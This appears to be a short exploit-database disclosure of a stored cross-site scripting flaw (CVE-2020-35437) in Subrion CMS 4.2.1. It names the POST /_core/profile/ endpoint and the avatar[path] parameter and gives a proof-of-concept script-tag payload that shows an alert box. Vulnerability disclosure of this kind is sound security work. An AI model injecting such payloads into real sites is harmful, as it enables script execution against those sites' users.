Subrion CMS 4.2.1 - 'avatar[path]' XSS

# Exploit Title: Subrion CMS 4.2.1 - 'avatar[path]' XSS
# Date: 2020-12-15
# Exploit Author: icekam
# Vendor Homepage: https://subrion.org/ <https://www.icekam.com/>
# Software Link: https://github.com/intelliants/subrion
# Version: Subrion CMS 4.2.1
# CVE : CVE-2020-35437

stored xss vulnerability in /_core/profile/.
 Reproduce through the avatar[path] parameter in post /_core/profile/ url.
 payload:"><sCrIpT>alert(1)</sCrIpT>

https://github.com/intelliants/subrion/issues/880